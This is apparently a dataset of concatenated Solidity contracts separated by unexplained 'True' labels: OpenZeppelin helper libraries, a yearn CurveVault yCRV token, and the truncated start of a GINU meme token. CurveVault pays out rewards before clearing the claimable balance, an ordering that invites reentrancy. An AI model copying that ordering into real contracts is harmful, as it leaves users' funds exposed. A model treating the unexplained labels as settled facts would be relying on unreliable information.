* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add: +");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "sub: -");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul: *");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "div: /");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "mod: %");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface StrategyProxy {
function lock() external;
}
contract CurveVault {
using SafeMath for uint;
/// @notice EIP-20 token name for this token
string public constant name = "yearn CRV Vault";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "yCRV";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 0; // Initial 0
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
mapping (address => mapping (address => uint)) internal allowances;
mapping (address => uint) internal balances;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)");
bytes32 public immutable DOMAINSEPARATOR;
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint nonce,uint expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint votes;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
_delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "delegateBySig: sig");
require(nonce == nonces[signatory]++, "delegateBySig: nonce");
require(now <= expiry, "delegateBySig: expired");
_delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint) {
require(blockNumber < block.number, "getPriorVotes:");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint srcRepNew = srcRepOld.sub(amount, "_moveVotes: underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint oldVotes, uint newVotes) internal {
uint32 blockNumber = safe32(block.number, "_writeCheckpoint: 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint amount);
/// @notice governance address for the governance contract
address public governance;
address public pendingGovernance;
IERC20 public constant CRV = IERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant LOCK = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
address public proxy = address(0x7A1848e7847F3f5FfB4d8e63BdB9569db535A4f0);
IERC20 public constant rewards = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
uint public index = 0;
uint public bal = 0;
mapping(address => uint) public supplyIndex;
function update() external {
_update();
}
function _update() internal {
if (totalSupply > 0) {
uint256 _bal = rewards.balanceOf(address(this));
if (_bal > bal) {
uint256 _diff = _bal.sub(bal, "CRV::_update: bal _diff");
if (_diff > 0) {
uint256 _ratio = _diff.mul(1e18).div(totalSupply);
if (_ratio > 0) {
index = index.add(_ratio);
bal = _bal;
}
}
}
}
}
function _updateFor(address recipient) public {
_update();
uint256 _supplied = balances[recipient];
if (_supplied > 0) {
uint256 _supplyIndex = supplyIndex[recipient];
supplyIndex[recipient] = index;
uint256 _delta = index.sub(_supplyIndex, "CRV::_claimFor: index delta");
if (_delta > 0) {
uint256 _share = _supplied.mul(_delta).div(1e18);
claimable[recipient] = claimable[recipient].add(_share);
}
} else {
supplyIndex[recipient] = index;
}
}
mapping(address => uint) public claimable;
function claim() external {
_claimFor(msg.sender);
}
function claimFor(address recipient) external {
_claimFor(recipient);
}
function _claimFor(address recipient) internal {
_updateFor(recipient);
rewards.transfer(recipient, claimable[recipient]);
claimable[recipient] = 0;
bal = rewards.balanceOf(address(this));
}
constructor() public {
// Set governance for this token
governance = msg.sender;
DOMAINSEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _getChainId(), address(this)));
}
function _mint(address dst, uint amount) internal {
_updateFor(dst);
// mint the amount
totalSupply = totalSupply.add(amount);
// transfer the amount to the recipient
balances[dst] = balances[dst].add(amount);
emit Transfer(address(0), dst, amount);
// move delegates
_moveDelegates(address(0), delegates[dst], amount);
}
function depositAll() external {
_deposit(CRV.balanceOf(msg.sender));
}
function deposit(uint _amount) external {
_deposit(_amount);
}
function _deposit(uint _amount) internal {
CRV.transferFrom(msg.sender, LOCK, _amount);
_mint(msg.sender, _amount);
StrategyProxy(proxy).lock();
}
function setProxy(address _proxy) external {
require(msg.sender == governance, "setGovernance: !gov");
proxy = _proxy;
}
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint amount) public returns (bool) {
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param amount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAINSEPARATOR, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "permit: signature");
require(signatory == owner, "permit: unauthorized");
require(now <= deadline, "permit: expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint amount) public returns (bool) {
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint amount) external returns (bool) {
address spender = msg.sender;
uint spenderAllowance = allowances[src][spender];
if (spender != src && spenderAllowance != uint(-1)) {
uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function _transferTokens(address src, address dst, uint amount) internal {
require(src != address(0), "_transferTokens: zero address");
require(dst != address(0), "_transferTokens: zero address");
_updateFor(src);
_updateFor(dst);
balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance");
balances[dst] = balances[dst].add(amount, "_transferTokens: overflows");
emit Transfer(src, dst, amount);
}
function _getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
} | True | [
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|
/**
*Submitted for verification at Etherscan.io on 2021-05-26
*/
/* 🚀 🐕
https://t.me/Ginutoken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GINU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = 'Gangster Inu';
string private constant _symbol = 'GINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 30;
uint256 private _teamFee = 30;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
